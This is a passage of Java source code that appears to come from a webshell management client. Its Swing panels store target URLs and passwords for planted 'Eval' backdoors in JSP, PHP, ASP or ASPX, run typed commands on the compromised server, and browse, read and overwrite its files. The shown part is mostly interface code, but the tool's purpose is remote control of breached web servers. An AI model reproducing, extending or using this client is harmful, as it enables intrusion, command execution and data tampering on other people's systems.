FileManagerPopMenu fpop = new FileManagerPopMenu("select"); 243 | FileManagerPopMenu npop = new FileManagerPopMenu("none"); 244 | SelectedMouseAction saction = fpop.new SelectedMouseAction(); 245 | MouseAction naction = npop.new MouseAction(); 246 | list.addMouseListener(saction); 247 | listpane.addMouseListener(naction); 248 | read.addActionListener(fpop.new ReadAction(list, path)); 249 | path.addKeyListener(fpop.new KeyAction(list, path)); 250 | this.add(path, gbcpath); 251 | this.add(read, gbcread); 252 | this.add(treepane, gbctree); 253 | this.add(listpane, gbclist); 254 | this.add(bar, gbcbar); 255 | } 256 | 257 | private void filemanagerindex() { 258 | index_datas = arrtmp.split("\t"); 259 | webroot = index_datas[0]; 260 | if (webroot.charAt(0) != '/') // Windows系统 261 | { 262 | Safe.SYSTEMSP = "\\"; 263 | webroot = webroot.replaceAll("/", "\\\\"); 264 | tmp1 = webroot.split("\\\\"); 265 | root = new DefaultMutableTreeNode(""); 266 | // 前面设置:windows下,在前面如果设置了setRootVisible(false)则整个都不会显示,可以使用expandAll显示并展开 267 | // model.setRoot(root); 268 | String drive = ""; 269 | for (int i = 0; i < index_datas[1].length() - 1; i++) { 270 | drive = String.valueOf(index_datas[1].charAt(i)); 271 | drive = drive + String.valueOf(index_datas[1].charAt(i + 1)); 272 | i++; 273 | DefaultMutableTreeNode dmtn = new DefaultMutableTreeNode(drive); 274 | dmtn.setAllowsChildren(false); 275 | root.add(dmtn); 276 | } 277 | model.setRoot(root); // 后面设置:windows下即使设置了setRootVisible(false)也会显示,可以使用expandAll以外的方式展开 278 | tree.setRootVisible(false); 279 | } else // Linux系统 280 | { 281 | Safe.SYSTEMSP = "/"; 282 | tmp1 = webroot.split("/"); 283 | root = new DefaultMutableTreeNode("/"); 284 | model.setRoot(root); 285 | } 286 | String cut = webroot.substring(webroot.length()-1); 287 | if(cut.equals(Safe.SYSTEMSP)) 288 | { 289 | path.setText(webroot); 290 | } else 291 | { 292 | path.setText(webroot + Safe.SYSTEMSP); 293 | } 294 | } 295 | 296 | public DefaultTreeModel getModel() { 297 | return model; 298 | } 299 | 300 | public void setModel(DefaultTreeModel model) { 301 | this.model = model; 302 | } 303 | 304 | private void filemanagersystem() { 305 | // ExtendedTreeCellRenderer trenderer = new ExtendedTreeCellRenderer(); 306 | ExtendedDefaultTreeCellRenderer trenderer = new ExtendedDefaultTreeCellRenderer(); 307 | tree.setCellRenderer(trenderer); 308 | tree.setVisible(true); // 设置之前再显示出来 309 | tree.setModel(model); 310 | tree.addTreeSelectionListener(new TreeAction()); 311 | tree.getSelectionModel().setSelectionMode( 312 | TreeSelectionModel.SINGLE_TREE_SELECTION); 313 | Runnable run = new Runnable() { 314 | public void run() { 315 | status.setText("正在载入左边栏...请稍等"); 316 | trees = fm.makeleft(webroot); 317 | final String search; 318 | final String[] tmp2; 319 | if (Safe.SYSTEMSP.equals("/")) { 320 | search = "/"; 321 | tmp2 = Arrays.copyOfRange(tmp1, 1, tmp1.length); 322 | } else { 323 | search = tmp1[0]; 324 | tmp2 = Arrays.copyOfRange(tmp1, 1, tmp1.length); 325 | } 326 | SwingUtilities.invokeLater(new Runnable() { 327 | public void run() { 328 | TreeMethod.makeIndexTree(tmp2, trees, 329 | TreeMethod.searchNode(root, search),tree); 330 | TreeMethod.expandAll(tree, new TreePath(root), true); 331 | status.setText("正在载入右边栏...请稍等"); 332 | showRight(webroot, list); 333 | } 334 | }); 335 | } 336 | }; 337 | new Thread(run).start(); 338 | } 339 | 340 | public void showRight(final String path, final JTable list) { 341 | Runnable run2 = new Runnable() { 342 | public void run() { 343 | final String[] filedicts = fm.makeright(path); 344 | SwingUtilities.invokeLater(new Runnable() { 345 | @Override 346 | public void run() { 347 | try { 348 | listmodel = new RightTableModel(filedicts); 349 | list.setModel(listmodel); 350 | } catch (Exception e) { 351 | } 352 | TableColumnModel columnmodel = list.getColumnModel(); 353 | TableColumn isfiledict = columnmodel.getColumn(0); 354 | isfiledict.setHeaderValue(""); 355 | isfiledict.setMaxWidth(0); 356 | TableColumn name = columnmodel.getColumn(1); 357 | name.setMinWidth(300); 358 | TableColumn time = columnmodel.getColumn(2); 359 | time.setMinWidth(150); 360 | DefaultTableCellRenderer renderer = new DefaultTableCellRenderer(); 361 | renderer.setHorizontalAlignment(JTextField.CENTER); 362 | list.getColumnModel().getColumn(3) 363 | .setCellRenderer(renderer); 364 | list.getColumnModel().getColumn(4) 365 | .setCellRenderer(renderer); 366 | JTableHeader header = list.getTableHeader(); 367 | header.setDefaultRenderer(renderer); 368 | if (init) { 369 | status.setText("完成"); 370 | init = false; 371 | } 372 | rstatus = true; 373 | } 374 | }); 375 | } 376 | }; 377 | new Thread(run2).start(); 378 | } 379 | 380 | public void showLeft(final TreePath tp) { 381 | Runnable run3 = new Runnable() { 382 | @Override 383 | public void run() { 384 | final String[] trees = fm.makeleft(TreeMethod.makePath(tp)); 385 | SwingUtilities.invokeLater(new Runnable() { 386 | @Override 387 | public void run() { 388 | DefaultMutableTreeNode select = (DefaultMutableTreeNode) tp 389 | .getLastPathComponent(); 390 | select.setAllowsChildren(true); 391 | TreeMethod.addTree(trees, select, model); 392 | if (!tree.isExpanded(tp)) { 393 | tree.scrollPathToVisible(tp); 394 | } 395 | lstatus = true; 396 | } 397 | }); 398 | } 399 | }; 400 | new Thread(run3).start(); 401 | } 402 | 403 | public RightTableModel getListmodel() { 404 | return listmodel; 405 | } 406 | 407 | public void setListmodel(RightTableModel listmodel) { 408 | this.listmodel = listmodel; 409 | } 410 | 411 | class TreeAction implements TreeSelectionListener { 412 | @Override 413 | public void valueChanged(TreeSelectionEvent e) { 414 | if (lstatus && rstatus) { 415 | final TreePath tp = tree.getSelectionPath(); 416 | if (tp != null) { 417 | lstatus = false; 418 | rstatus = false; 419 | status.setText("正在读取...请稍等"); 420 | showLeft(tp); 421 | showRight(TreeMethod.makePath(tp), list); 422 | path.setText(TreeMethod.makePath(tp)); 423 | Runnable run = new Runnable() { 424 | public void run() { 425 | while (true) { 426 | Thread.yield(); 427 | if (lstatus && rstatus) { 428 | SwingUtilities.invokeLater(new Runnable() { 429 | @Override 430 | public void run() { 431 | status.setText("完成"); 432 | } 433 | }); 434 | break; 435 | } 436 | } 437 | } 438 | }; 439 | new Thread(run).start(); 440 | } 441 | } else { 442 | // new MessageDialog("上一操作尚未执行完毕"); 443 | status.setText("上一操作尚未执行完毕"); 444 | DefaultTreeSelectionModel dsmodel = new DefaultTreeSelectionModel(); 445 | dsmodel.setSelectionMode(TreeSelectionModel.SINGLE_TREE_SELECTION); 446 | dsmodel.setSelectionPath(e.getOldLeadSelectionPath()); 447 | tree.setSelectionModel(dsmodel); 448 | } 449 | } 450 | 451 | } 452 | } -------------------------------------------------------------------------------- /src/com/ms509/ui/panel/HeadPanel.java: -------------------------------------------------------------------------------- 1 | package com.ms509.ui.panel; 2 | 3 | import java.awt.BorderLayout; 4 | import java.awt.Color; 5 | import java.awt.FlowLayout; 6 | import java.awt.Font; 7 | import java.awt.event.MouseAdapter; 8 | import java.awt.event.MouseEvent; 9 | import java.util.Arrays; 10 | import java.util.regex.Matcher; 11 | import java.util.regex.Pattern; 12 | 13 | import javax.swing.JButton; 14 | import javax.swing.JLabel; 15 | import javax.swing.JPanel; 16 | import javax.swing.table.DefaultTableModel; 17 | 18 | import com.ms509.ui.MainFrame; 19 | 20 | public class HeadPanel extends JPanel { 21 | private JLabel tabclose; 22 | private JPanel panel; 23 | public HeadPanel(JPanel panel) { 24 | // TODO Auto-generated constructor stub 25 | this.panel = panel; 26 | this.setLayout(new BorderLayout(0,0)); 27 | JLabel tabtitle = new JLabel(); 28 | String[] tmp = MainFrame.tab.getUrl().split("\t"); 29 | tabtitle.setText(this.deal(tmp[1])); 30 | tabclose = new JLabel(" "); 31 | tabclose.addMouseListener(new CloseAction()); 32 | this.addMouseListener(new MouseAction()); 33 | this.setOpaque(false); 34 | this.add(tabtitle,BorderLayout.WEST,-1); 35 | this.add(tabclose,BorderLayout.EAST,-1); 36 | } 37 | private String deal(String url) 38 | { 39 | String domain=""; 40 | Matcher m = Pattern.compile("(?:\\w+?://)?([\\w-\\.]+)").matcher(url); 41 | if(m.find()) 42 | { 43 | domain = m.group(1); 44 | } 45 | return domain; 46 | } 47 | class MouseAction extends MouseAdapter 48 | { 49 | @Override 50 | public void mouseEntered(MouseEvent e) { 51 | // TODO Auto-generated method stub 52 | tabclose.setText("x"); 53 | } 54 | @Override 55 | public void mouseExited(MouseEvent e) { 56 | // TODO Auto-generated method stub 57 | tabclose.setText(" "); 58 | } 59 | @Override 60 | public void mouseClicked(MouseEvent e) { 61 | // TODO Auto-generated method stub 62 | MainFrame.tab.setSelectedIndex(MainFrame.tab.indexOfComponent(panel)); 63 | } 64 | } 65 | class CloseAction extends MouseAdapter 66 | { 67 | @Override 68 | public void mouseEntered(MouseEvent e) { 69 | // TODO Auto-generated method stub 70 | tabclose.setText("x"); 71 | tabclose.setForeground(Color.WHITE); 72 | } 73 | @Override 74 | public void mouseExited(MouseEvent e) { 75 | // TODO Auto-generated method stub 76 | tabclose.setText(" "); 77 | tabclose.setForeground(Color.BLACK); 78 | } 79 | @Override 80 | public void mouseClicked(MouseEvent e) { 81 | // TODO Auto-generated method stub 82 | MainFrame.tab.removeTabAt(MainFrame.tab.indexOfComponent(panel)); 83 | } 84 | } 85 | } 86 | -------------------------------------------------------------------------------- /src/com/ms509/ui/panel/ListPanel.java: -------------------------------------------------------------------------------- 1 | package com.ms509.ui.panel; 2 | 3 | import java.awt.GridBagLayout; 4 | import java.io.File; 5 | import java.sql.ResultSet; 6 | import java.sql.SQLException; 7 | 8 | import javax.swing.JLabel; 9 | import javax.swing.JPanel; 10 | import javax.swing.JScrollPane; 11 | import javax.swing.JTable; 12 | import javax.swing.JToolBar; 13 | import javax.swing.table.TableColumn; 14 | import javax.swing.table.TableColumnModel; 15 | 16 | import com.ms509.model.ResultSetTableModel; 17 | import com.ms509.ui.menu.ListPopMenu; 18 | import com.ms509.util.Configuration; 19 | import com.ms509.util.DbDao; 20 | import com.ms509.util.GBC; 21 | import com.ms509.util.Safe; 22 | 23 | public class ListPanel extends JPanel { 24 | private JTable list; 25 | private ResultSetTableModel model; 26 | private JLabel status; 27 | public JTable getList() { 28 | return list; 29 | } 30 | public void setList(JTable list) { 31 | this.list = list; 32 | } 33 | public ResultSetTableModel getModel() { 34 | return model; 35 | } 36 | public void setModel(ResultSetTableModel model) { 37 | this.model = model; 38 | } 39 | public JLabel getStatus() { 40 | return status; 41 | } 42 | public void setStatus(JLabel status) { 43 | this.status = status; 44 | } 45 | 46 | public ListPanel() { 47 | // TODO Auto-generated constructor stub 48 | this.setLayout(new GridBagLayout()); 49 | GBC gbclist = new GBC(0, 0).setFill(GBC.BOTH).setWeight(100, 100); 50 | GBC gbcbar = new GBC(0, 1).setFill(GBC.HORIZONTAL).setWeight(100, 0); 51 | JTable list = new JTable(); 52 | 53 | list.setAutoCreateRowSorter(true); 54 | ResultSet rs = null; 55 | try { 56 | rs = DbDao.getInstance().getStmt() 57 | .executeQuery("select * from data"); 58 | } catch (SQLException e) { 59 | // TODO Auto-generated catch block 60 | e.printStackTrace(); 61 | } 62 | model = new ResultSetTableModel(rs); 63 | list.setModel(model); 64 | 65 | TableColumnModel cmodel = list.getColumnModel(); 66 | TableColumn tableurl = cmodel.getColumn(1); 67 | tableurl.setMinWidth(500); 68 | int[] arr = { 0, 2, 3, 4, 5 }; 69 | for (int i : arr) { 70 | TableColumn column = cmodel.getColumn(i); 71 | column.setMinWidth(0); 72 | column.setMaxWidth(0); 73 | } 74 | JToolBar bar = new JToolBar(); 75 | bar.setFloatable(false); 76 | status = new JLabel("完成"); 77 | JScrollPane listPane = new JScrollPane(list); 78 | new ListPopMenu(this, listPane); 79 | new ListPopMenu(this, list); 80 | // listPane.setComponentPopupMenu(new ListPopMenu(this, listPane)); 81 | // //swing弹出菜单,不需要awt监听事件。 82 | // list.setComponentPopupMenu(new ListPopMenu(this, list)); 83 | this.add(listPane, gbclist); 84 | bar.add(status); 85 | this.add(bar, gbcbar); 86 | } 87 | 88 | } 89 | -------------------------------------------------------------------------------- /src/com/ms509/ui/panel/ShellPanel.java: -------------------------------------------------------------------------------- 1 | package com.ms509.ui.panel; 2 | 3 | import java.awt.Color; 4 | import java.awt.Font; 5 | import java.awt.GridBagLayout; 6 | import java.awt.event.*; 7 | import java.util.ArrayList; 8 | import java.util.concurrent.locks.Lock; 9 | import java.util.concurrent.locks.ReentrantLock; 10 | 11 | import javax.swing.*; 12 | import javax.swing.text.AttributeSet; 13 | import javax.swing.text.BadLocationException; 14 | import javax.swing.text.Document; 15 | 16 | import com.ms509.ui.MainFrame; 17 | import com.ms509.ui.MessageDialog; 18 | import com.ms509.ui.menu.ShellPopMenu; 19 | import com.ms509.util.GBC; 20 | import com.ms509.util.Safe; 21 | import com.ms509.util.Shell; 22 | 23 | public class ShellPanel extends JPanel { 24 | 25 | /** 26 | * 27 | */ 28 | private static final long serialVersionUID = 1L; 29 | private String url; 30 | private String pass; 31 | private int type; 32 | private String code; 33 | private int os; 34 | private String path = null; 35 | private String path_bak = null; 36 | private String path_show = null; // 用于[/usr/]$显示 37 | private int command_start; 38 | private int command_stop; 39 | private JToolBar bar; 40 | private JLabel status; 41 | private JTextPane console; 42 | private JScrollPane console_scroll; 43 | private Document shell_doc;// 文本控制 44 | private ArrayList last_commands = new ArrayList(); 45 | private int num = 1; 46 | private Shell core; 47 | private Font shell_font = null; 48 | private int num_t = 0; 49 | 50 | 51 | public ShellPanel() { 52 | // TODO Auto-generated constructor stub 53 | // 控件初始化 54 | 55 | bar = new JToolBar(); 56 | status = new JLabel("完成"); 57 | bar.setFloatable(false); 58 | console = new JTextPane(); 59 | console_scroll = new JScrollPane(console); 60 | shell_doc = console.getDocument(); 61 | 62 | ShellPopMenu a = new ShellPopMenu(this,console); 63 | 64 | // 初始化常量 65 | String[] tmp = MainFrame.tab.getUrl().split("\t"); 66 | url = tmp[1]; 67 | pass = tmp[2]; 68 | // type = tmp[4]; 69 | code = tmp[5]; 70 | Safe.PASS = pass; // 初始化PASS常量 71 | // 初始化脚本类型 72 | switch (tmp[4]) { 73 | case "JSP(Eval)": 74 | type = 0; 75 | // this.jsp(); 76 | break; 77 | case "PHP(Eval)": 78 | type = 1; 79 | // this.php(); 80 | break; 81 | case "ASP(Eval)": 82 | type = 2; 83 | // this.asp(); 84 | break; 85 | case "ASPX(Eval)": 86 | type = 3; 87 | break; 88 | case "Customize": //添加自定义 89 | type = 4; 90 | break; 91 | } 92 | 93 | // core = new Shell(path,os,url,code,type1); 94 | core = new Shell(os, url, code, type); 95 | 96 | // / 97 | status.setText("正在连接...请稍等"); 98 | Thread thread_getpath = new Thread(new Runnable() { 99 | public void run() { 100 | // 显示网站路径 101 | path = core.GetPath(); 102 | check_path(); 103 | final String tmp = path.substring(0, path.length() - 1); 104 | SwingUtilities.invokeLater(new Runnable() { 105 | public void run() { 106 | if (tmp.indexOf("HTTP/1.") > -1 || tmp.indexOf("/") < 0 && tmp.indexOf("\\") < 0) { 107 | new MessageDialog(tmp, 5); 108 | console.setEnabled(false); 109 | } else { 110 | try { 111 | shell_doc.insertString(shell_doc.getLength(), "\n" + path_show, null); 112 | } catch (BadLocationException e) { 113 | } 114 | } 115 | command_start = shell_doc.getLength(); 116 | console.setCaretPosition(shell_doc.getLength()); 117 | status.setText("完成"); 118 | } 119 | }); 120 | 121 | } 122 | }); 123 | thread_getpath.start(); 124 | 125 | // 初始化布局和控件 126 | this.setLayout(new GridBagLayout()); 127 | GBC gbcinfo = new GBC(0, 0, 6, 1).setFill(GBC.HORIZONTAL).setWeight(100, 0); 128 | GBC gbcconsole = new GBC(0, 1, 6, 1).setFill(GBC.BOTH).setWeight(0, 10); 129 | GBC gbcbar = new GBC(0, 2, 6, 1).setFill(GBC.HORIZONTAL).setWeight(100, 0); 130 | 131 | // console.append("\n"+path); 132 | 133 | // text 焦点 134 | textareaFocus f_listener = new textareaFocus(); 135 | this.addFocusListener(f_listener); 136 | 137 | // 监听text键盘事件 138 | textareaKey key_listener = new textareaKey(); 139 | console.addKeyListener(key_listener); 140 | 141 | // 布局添加 142 | bar.add(status); 143 | this.add(bar, gbcinfo); 144 | this.add(console_scroll, gbcconsole); 145 | this.add(bar, gbcbar); 146 | // console.setVisible(true); 147 | // console.requestFocus(); 148 | console.setCaretPosition(shell_doc.getLength()); 149 | 150 | Color bgColor = Color.BLACK; 151 | UIDefaults defaults = new UIDefaults(); 152 | defaults.put("TextPane[Enabled].backgroundPainter", bgColor); 153 | console.putClientProperty("Nimbus.Overrides", defaults); 154 | console.putClientProperty("Nimbus.Overrides.InheritDefaults", true); 155 | console.setBackground(bgColor); 156 | 157 | console.setForeground(Color.white); 158 | console.setBackground(Color.black); 159 | console.setCaretColor(Color.white); 160 | 161 | shell_font = new Font("幼圆", Font.BOLD, 12); 162 | console.setFont(new Font("幼圆", Font.BOLD, 12)); 163 | command_start = shell_doc.getLength(); 164 | } 165 | 166 | // 路径path 167 | public void check_path() { 168 | 169 | // 判断操作系统 170 | path = path.replace("\n", ""); 171 | path = path.replace("\r", ""); 172 | if (path.contains("pwd;echo")) { 173 | path = path_bak; 174 | } 175 | if (path.contains(":")) { 176 | 177 | Safe.SYSTEMSP = "\\"; 178 | // System.out.println("win"); 179 | if (!path.substring(path.length() - 1, path.length()).equals("\\")) { 180 | path = path + "\\"; 181 | } 182 | path_show = path + ">"; 183 | } else { 184 | Safe.SYSTEMSP = "/"; 185 | if (!path.substring(path.length() - 1, path.length()).equals("/")) { 186 | path = path + "/"; 187 | } 188 | path_show = "[" + path + "]$"; 189 | } 190 | 191 | } 192 | 193 | // text焦点监听 194 | private class textareaFocus extends FocusAdapter { 195 | 196 | @Override 197 | public void focusGained(FocusEvent e) { 198 | // TODO Auto-generated method stub 199 | console.requestFocus(); 200 | console.setCaretPosition(shell_doc.getLength()); 201 | } 202 | } 203 | 204 | 205 | // text键盘监听 206 | private class textareaKey extends KeyAdapter { 207 | @Override 208 | public void keyPressed(KeyEvent arg0) { 209 | // TODO Auto-generated method stub 210 | if (shell_doc.getLength() <= command_start && !arg0.isControlDown()) { 211 | if (arg0.getKeyCode() == 8) { 212 | try { 213 | String t = shell_doc.getText(console.getCaretPosition() - 1, 1); 214 | shell_doc.insertString(console.getCaretPosition(), t, null); 215 | } catch (Exception e) { 216 | 217 | } 218 | } 219 | } 220 | 221 | if ((console.getCaretPosition() < command_start || console.getSelectionStart() < command_start 222 | || console.getSelectionEnd() < command_start) && !arg0.isControlDown()) { 223 | console.setEditable(false); 224 | console.setCaretPosition(shell_doc.getLength()); 225 | } else if(arg0.isControlDown() && console.getCaretPosition() < command_start) 226 | { 227 | console.setEditable(false); 228 | }else 229 | { 230 | console.setEditable(true); 231 | 232 | } 233 | 234 | if (arg0.getKeyCode() == 10) { 235 | console.setCaretPosition(shell_doc.getLength()); 236 | } 237 | 238 | } 239 | 240 | @Override 241 | public void keyReleased(KeyEvent arg0) { 242 | command_stop = shell_doc.getLength(); 243 | if (arg0.getKeyCode() == 10) { // 判断回车 244 | String tmp_cmd = null; 245 | try { 246 | tmp_cmd = shell_doc.getText(command_start, command_stop - command_start); 247 | ///////////////////////////////////////////////////////////// 248 | //多次执行有可能会出错 249 | //中文输入法 250 | ////////////////////////////////////////////////////////////// 251 | tmp_cmd = tmp_cmd.replace("\n", "").replace("\r", ""); 252 | if (tmp_cmd.equals("cls") || tmp_cmd.equals("clear")) { // 清空文本显示区域 253 | shell_doc.remove(0, shell_doc.getLength()); 254 | shell_doc.insertString(0, "\n" + path, null); 255 | command_start = shell_doc.getLength(); 256 | 257 | } 258 | else if(tmp_cmd.indexOf("setp")==0) //自定义路径 259 | { 260 | if(tmp_cmd.substring(0,4).equals("setp")) 261 | { 262 | String k = tmp_cmd.substring(5,tmp_cmd.length()); 263 | core.SetCMD(k); 264 | shell_doc.insertString(shell_doc.getLength(), "\n设置命令路径为:"+k, null); 265 | shell_doc.insertString(shell_doc.getLength(), "\n" + path+"", null); 266 | command_start = shell_doc.getLength(); 267 | } 268 | } 269 | else { // 执行命令 270 | // shell_doc.insertString(shell_doc.getLength(), "\n", 271 | // null); 272 | Thread exe = new Thread(new Runnable() { 273 | // private Lock lock = new ReentrantLock();// 锁对象 274 | 275 | @Override 276 | public void run() { 277 | // TODO Auto-generated method stub 278 | num_t = 1; 279 | status.setText("正在执行...请稍等"); 280 | try { 281 | // Thread.sleep(10000); 282 | execute(path, shell_doc.getText(command_start, command_stop - command_start), os, 283 | type); 284 | } catch (Exception e) { 285 | // TODO Auto-generated catch block 286 | status.setText("执行失败"); 287 | 288 | console.setEditable(true); 289 | } finally { 290 | num_t = 0; 291 | } 292 | } 293 | 294 | }); 295 | if (num_t == 0) { 296 | exe.start(); 297 | } else { 298 | } 299 | } 300 | last_commands.add(tmp_cmd); 301 | num = last_commands.size(); 302 | } catch (BadLocationException e) { 303 | // TODO Auto-generated catch block 304 | e.printStackTrace(); 305 | } 306 | } 307 | 308 | // 翻看命令记录(上) 309 | if (arg0.getKeyCode() == KeyEvent.VK_UP) { 310 | console.setCaretPosition(command_start); 311 | try { 312 | shell_doc.remove(command_start, shell_doc.getLength() - command_start); 313 | shell_doc.insertString(command_start, key_up_action(), null); 314 | } catch (BadLocationException e) { 315 | // TODO Auto-generated catch block 316 | e.printStackTrace(); 317 | } 318 | 319 | } 320 | 321 | // 翻看命令记录(下) 322 | if (arg0.getKeyCode() == KeyEvent.VK_DOWN) { 323 | console.setCaretPosition(command_start); 324 | try { 325 | shell_doc.remove(command_start, shell_doc.getLength() - command_start); 326 | shell_doc.insertString(command_start, key_down_action(), null); 327 | } catch (BadLocationException e) { 328 | // TODO Auto-generated catch block 329 | e.printStackTrace(); 330 | } 331 | 332 | } 333 | 334 | } 335 | } 336 | 337 | // 命令执行调用 338 | public void execute(String pa, String command, int os, int type) { 339 | String result[] = new String[2]; 340 | try { 341 | path_bak = path; 342 | core.SetPath(path); 343 | result = core.execute(command); 344 | shell_doc.insertString(shell_doc.getLength(), result[0], null); 345 | 346 | path = result[1]; 347 | // check_path(); 348 | 349 | check_path(); 350 | shell_doc.insertString(shell_doc.getLength(), "\n" + path_show, null); 351 | command_start = shell_doc.getLength(); 352 | console.setCaretPosition(shell_doc.getLength()); 353 | status.setText("完成"); 354 | 355 | } catch (Exception e) { 356 | // TODO Auto-generated catch block 357 | status.setText("执行失败"); 358 | command_start = shell_doc.getLength(); 359 | console.setCaretPosition(shell_doc.getLength()); 360 | } 361 | 362 | } 363 | 364 | // 上翻历史命令 365 | public String key_up_action() { 366 | num = num - 1; 367 | String last_command = null; 368 | if (num >= 0 && !last_commands.isEmpty()) { 369 | last_command = last_commands.get(num); 370 | last_command = last_command.replace("\n", "").replace("\r", ""); 371 | return last_command; 372 | } else { 373 | return ""; 374 | } 375 | 376 | } 377 | 378 | // 下翻历史命令 379 | public String key_down_action() { 380 | num = num + 1; 381 | String last_command = null; 382 | if (num < last_commands.size() && num >= 0) { 383 | last_command = last_commands.get(num); 384 | last_command = last_command.replace("\n", "").replace("\r", ""); 385 | return last_command; 386 | } else if (num < 0) { 387 | num = 0; 388 | return ""; 389 | } else { 390 | num = last_commands.size(); 391 | return ""; 392 | } 393 | } 394 | 395 | public static String toHexString(String s) { 396 | String str = ""; 397 | for (int i = 0; i < s.length(); i++) { 398 | int ch = (int) s.charAt(i); 399 | String s4 = Integer.toHexString(ch); 400 | str = str + s4; 401 | } 402 | return str; 403 | } 404 | 405 | } 406 | -------------------------------------------------------------------------------- /src/com/ms509/ui/panel/TextPanel.java: -------------------------------------------------------------------------------- 1 | package com.ms509.ui.panel; 2 | 3 | import java.awt.GridBagLayout; 4 | import java.awt.event.ActionEvent; 5 | import java.awt.event.ActionListener; 6 | 7 | import javax.swing.JButton; 8 | import javax.swing.JLabel; 9 | import javax.swing.JPanel; 10 | import javax.swing.JScrollPane; 11 | import javax.swing.JTextField; 12 | import javax.swing.JTextPane; 13 | import javax.swing.JToolBar; 14 | import javax.swing.SwingUtilities; 15 | 16 | import com.ms509.ui.MainFrame; 17 | import com.ms509.util.Common; 18 | import com.ms509.util.GBC; 19 | import com.ms509.util.Safe; 20 | 21 | public class TextPanel extends JPanel { 22 | private FileManagerPanel filemanagerpanel; 23 | private JTextPane text; 24 | private JLabel status; 25 | private JButton button; 26 | 27 | public JLabel getStatus() { 28 | return status; 29 | } 30 | 31 | public void setStatus(JLabel status) { 32 | this.status = status; 33 | } 34 | 35 | private JTextField path; 36 | 37 | public JTextField getPath() { 38 | return path; 39 | } 40 | 41 | public void setPath(JTextField path) { 42 | this.path = path; 43 | } 44 | 45 | public JTextPane getText() { 46 | return text; 47 | } 48 | 49 | public void setText(JTextPane text) { 50 | this.text = text; 51 | } 52 | 53 | public TextPanel() { 54 | // TODO Auto-generated constructor stub 55 | filemanagerpanel = (FileManagerPanel) MainFrame.tab 56 | .getSelectedComponent(); 57 | this.setLayout(new GridBagLayout()); 58 | GBC gbcload = new GBC(0, 0); 59 | GBC gbcpath = new GBC(1, 0, 4, 1).setFill(GBC.HORIZONTAL).setWeight( 60 | 100, 0); 61 | GBC gbcread = new GBC(5, 0); 62 | GBC gbctext = new GBC(0, 1, 6, 1).setFill(GBC.BOTH).setWeight(0, 100); 63 | GBC gbcbar = new GBC(0, 2, 6, 1).setFill(GBC.HORIZONTAL).setWeight(100, 64 | 0); 65 | JButton load = new JButton("载入"); 66 | button = new JButton("保存"); 67 | TextAction action = new TextAction(); 68 | load.addActionListener(action); 69 | button.addActionListener(action); 70 | JToolBar bar = new JToolBar(); 71 | path = new JTextField(); 72 | text = new JTextPane(); 73 | JScrollPane textpane = new JScrollPane(text); 74 | status = new JLabel("完成"); 75 | bar.add(status); 76 | bar.setFloatable(false); 77 | this.add(path, gbcpath); 78 | this.add(load, gbcload); 79 | this.add(button, gbcread); 80 | this.add(textpane, gbctext); 81 | this.add(bar, gbcbar); 82 | } 83 | 84 | public JButton getButton() { 85 | return button; 86 | } 87 | 88 | public void setButton(JButton button) { 89 | this.button = button; 90 | } 91 | 92 | class TextAction implements ActionListener { 93 | @Override 94 | public void actionPerformed(final ActionEvent e) { 95 | // TODO Auto-generated method stub 96 | if (e.getActionCommand().equals("载入")) { 97 | text.setText("载入中..."); 98 | status.setText("正在载入...请稍等"); 99 | Runnable rrun = new Runnable() { 100 | public void run() { 101 | final String data = filemanagerpanel.getFm().doAction( 102 | "readfile", getPath().getText()); 103 | SwingUtilities.invokeLater(new Runnable() { 104 | public void run() { 105 | text.setText(data); 106 | status.setText("载入完成"); 107 | } 108 | }); 109 | } 110 | }; 111 | new Thread(rrun).start(); 112 | } else { 113 | status.setText("正在保存...请稍等"); 114 | String data; 115 | Runnable nrun = new Runnable() { 116 | public void run() { 117 | final String data = filemanagerpanel.getFm() 118 | .doAction("savefile", getPath().getText(), 119 | text.getText()); 120 | if(data.equals("1")) 121 | { 122 | SwingUtilities.invokeLater(new Runnable() { 123 | public void run() { 124 | filemanagerpanel.showRight( 125 | Common.getAbsolutePath(getPath() 126 | .getText()), 127 | filemanagerpanel 128 | .getList()); 129 | } 130 | }); 131 | while(true) 132 | { 133 | Thread.yield(); 134 | if (filemanagerpanel.isRstatus()) { 135 | SwingUtilities.invokeLater(new Runnable() { 136 | public void run() { 137 | filemanagerpanel.getStatus().setText("保存成功"); 138 | status.setText("保存成功"); 139 | } 140 | }); 141 | break; 142 | } 143 | } 144 | } else 145 | { 146 | SwingUtilities.invokeLater(new Runnable() { 147 | public void run() { 148 | filemanagerpanel.getStatus().setText("保存失败"); 149 | status.setText("保存失败"); 150 | } 151 | }); 152 | } 153 | } 154 | }; 155 | new Thread(nrun).start(); 156 | } 157 | } 158 | } 159 | } 160 | -------------------------------------------------------------------------------- /src/com/ms509/util/BasicAuthenticator.java: -------------------------------------------------------------------------------- 1 | package com.ms509.util; 2 | 3 | import java.net.Authenticator; 4 | import java.net.PasswordAuthentication; 5 | 6 | class BasicAuthenticator extends Authenticator { 7 | String username; 8 | String password; 9 | 10 | public BasicAuthenticator(String username, String password) { 11 | this.username = username; 12 | this.password = password; 13 | } 14 | 15 | @Override 16 | protected PasswordAuthentication getPasswordAuthentication() { 17 | return new PasswordAuthentication(username, password.toCharArray()); 18 | } 19 | } -------------------------------------------------------------------------------- /src/com/ms509/util/Common.java: -------------------------------------------------------------------------------- 1 | package com.ms509.util; 2 | 3 | import java.net.HttpURLConnection; 4 | import java.net.InetSocketAddress; 5 | import java.net.Proxy; 6 | import java.net.InetAddress; 7 | import java.net.SocketAddress; 8 | import java.net.URL; 9 | import java.text.SimpleDateFormat; 10 | import java.util.Arrays; 11 | import java.util.Collection; 12 | import java.util.Date; 13 | import java.util.HashMap; 14 | import java.util.Iterator; 15 | import java.util.Map; 16 | import java.util.Set; 17 | import java.util.regex.Matcher; 18 | import java.util.regex.Pattern; 19 | 20 | public class Common { 21 | public static HashMap map = new HashMap(); 22 | 23 | public static String purData(String data) { 24 | String datas = data; 25 | String regex = Common.purRegex(Safe.SPL) + "(.*)" 26 | + Common.purRegex(Safe.SPR); 27 | Matcher m = Pattern.compile(regex, Pattern.DOTALL).matcher(data); 28 | if (m.find()) { 29 | datas = m.group(1); 30 | } 31 | return datas; 32 | } 33 | 34 | public static String purRegex(String regex) { 35 | regex = regex.replaceAll("\\|", "\\\\|"); 36 | return regex; 37 | 38 | } 39 | 40 | public static String send(String url, String params, String code) { 41 | // System.out.println(Request.doPost(url, params, code)); 42 | return Common.purData(Request.doPost(url, params, code)); 43 | } 44 | 45 | public static String makeParams(String... args) { 46 | String params = ""; 47 | if (args.length == 2) { 48 | params = 